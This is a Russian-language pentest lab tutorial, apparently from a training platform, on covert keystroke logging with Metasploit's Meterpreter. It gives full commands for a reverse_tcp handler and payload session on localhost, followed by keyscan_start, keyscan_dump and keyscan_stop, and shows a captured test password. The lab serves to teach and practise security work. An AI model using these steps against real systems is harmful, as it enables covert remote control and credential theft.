Регистрация нажатий клавиш на цели с помощью Meterpreter

Kali LinuxBeginner
Практиковаться сейчас

Введение

В этой лабораторной работе вы изучите распространенный метод пост-эксплуатации: кейлоггинг (keystroke logging). Кейлоггинг, или "keylogging", — это процесс записи нажатий клавиш на клавиатуре, обычно скрытно, так что пользователь клавиатуры не подозревает, что его действия отслеживаются. В пентестинге этот метод бесценен для сбора конфиденциальной информации, такой как имена пользователей, пароли и другие секретные данные.

Для достижения этой цели мы будем использовать мощный пейлоад фреймворка Metasploit — Meterpreter. Meterpreter имеет встроенный модуль под названием keyscan, который позволяет злоумышленнику легко запускать, выгружать и останавливать кейлоггер на скомпрометированной системе. В ходе этой лабораторной работы вы научитесь получать сессию Meterpreter, развертывать кейлоггер, перехватывать нажатия клавиш, а затем заметать следы.

Получение сессии Meterpreter на цели

На этом шаге мы настроим прослушиватель в Metasploit и выполним пейлоад для получения сессии Meterpreter. Для целей этой лабораторной работы мы будем выступать как атакующим, так и целью на одной и той же машине. Файл пейлоада с именем payload.elf уже создан для вас в директории ~/project.

Сначала запустим консоль Metasploit Framework.

msfconsole -q

После загрузки msfconsole нам нужно настроить обработчик (handler) для прослушивания входящего соединения от нашего пейлоада.

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444

Теперь запустим прослушиватель как фоновое задание с помощью флага -j.

exploit -j

Вы должны увидеть сообщение о запуске обработчика.

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444

Теперь откройте новую вкладку терминала, нажав на значок + в панели терминала. В этой новой вкладке выполните пейлоад.

./payload.elf

Вернитесь на первую вкладку терминала с msfconsole. Вы должны увидеть сообщение, указывающее на открытие сессии Meterpreter.

[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:38908) at 2023-10-27 10:30:00 -0400

Для взаимодействия с этой новой сессией используйте команду sessions.

sessions -i 1

Ваш приглашение командной строки должно измениться на meterpreter >, что означает, что вы теперь контролируете сессию цели.

[*] Starting interaction with 1...

meterpreter >

Запуск кейлоггера командой keyscan_start

На этом шаге, имея активную сессию Meterpreter, мы запустим кейлоггер на целевой машине. Команда для этого — keyscan_start. Эта команда внедряет кейлоггер в процесс на целевой системе и начинает захватывать весь ввод с клавиатуры.

Убедитесь, что вы находитесь в приглашении meterpreter>. Введите следующую команду и нажмите Enter:

keyscan_start

Система подтвердит, что кейлоггер был запущен.

Starting the keystroke sniffer...

Логгер теперь бесшумно работает в фоновом режиме на целевой системе, записывая каждую нажатую клавишу.

Ожидание ввода информации пользователем

На этом шаге мы симулируем ввод пользователем конфиденциальной информации на целевой машине. Поскольку наш кейлоггер активен, он зафиксирует эту активность.

Снова откройте новую вкладку терминала, нажав на значок +. В этом новом терминале мы симулируем ввод пользователем пароля. Вы можете ввести любую команду, но для примера мы будем использовать echo для имитации ввода секретного пароля.

echo "MySuperSecretPassword123"

После выполнения команды вы можете закрыть эту новую вкладку терминала. Введенные символы для echo "MySuperSecretPassword123" теперь захвачены нашим активным кейлоггером. Вернитесь на вкладку терминала, где активна ваша сессия Meterpreter.

Выгрузка захваченных нажатий клавиш командой keyscan_dump

На этом шаге мы получим нажатия клавиш, которые были захвачены логгером. Команда keyscan_dump извлекает все записанные нажатия клавиш с целевой машины и отображает их в вашей консоли Meterpreter.

В приглашении meterpreter> выполните следующую команду:

keyscan_dump

Вы увидите вывод всех нажатий клавиш, захваченных с момента запуска логгера. Это будет включать команду, которую вы ввели на предыдущем шаге.

Dumping captured keystrokes...

echo "MySuperSecretPassword123"

Как вы можете видеть, команда, которую мы ввели в другом терминале, была успешно захвачена. Это демонстрирует, как злоумышленник может украсть учетные данные, команды и другой конфиденциальный текст, введенный пользователем.

Остановка кейлоггера командой keyscan_stop

На этом шаге мы остановим кейлоггер. Для пентестера крайне важно провести очистку после завершения работы, чтобы удалить любые артефакты и остановить все запущенные процессы, оставив целевую систему в том состоянии, в котором она была найдена.

Чтобы остановить кейлоггер, используйте команду keyscan_stop в вашей сессии Meterpreter.

keyscan_stop

Система подтвердит, что кейлоггер остановлен.

Stopping the keystroke sniffer...

Кейлоггер больше не активен на целевой машине. Теперь вы можете безопасно выйти из сессии Meterpreter и msfconsole, дважды введя команду exit.

Резюме

В этой лабораторной работе вы успешно научились выполнять кейлоггинг (регистрацию нажатий клавиш) на целевой системе с использованием Meterpreter. Вы отработали полный жизненный цикл этой техники пост-эксплуатации, от получения сессии до очистки ваших инструментов.

Вы узнали, как:

  • Установить сессию Meterpreter с использованием обработчика (handler) и полезной нагрузки (payload).
  • Запустить кейлоггер на цели с помощью команды keyscan_start.
  • Выгрузить захваченные нажатия клавиш для просмотра конфиденциальной информации с помощью keyscan_dump.
  • Остановить кейлоггер и очистить сессию с помощью keyscan_stop.

Это мощная техника, которая подчеркивает важность безопасности и мониторинга системы. Помните об ответственном и этичном использовании этих навыков. Поздравляем с завершением лабораторной работы!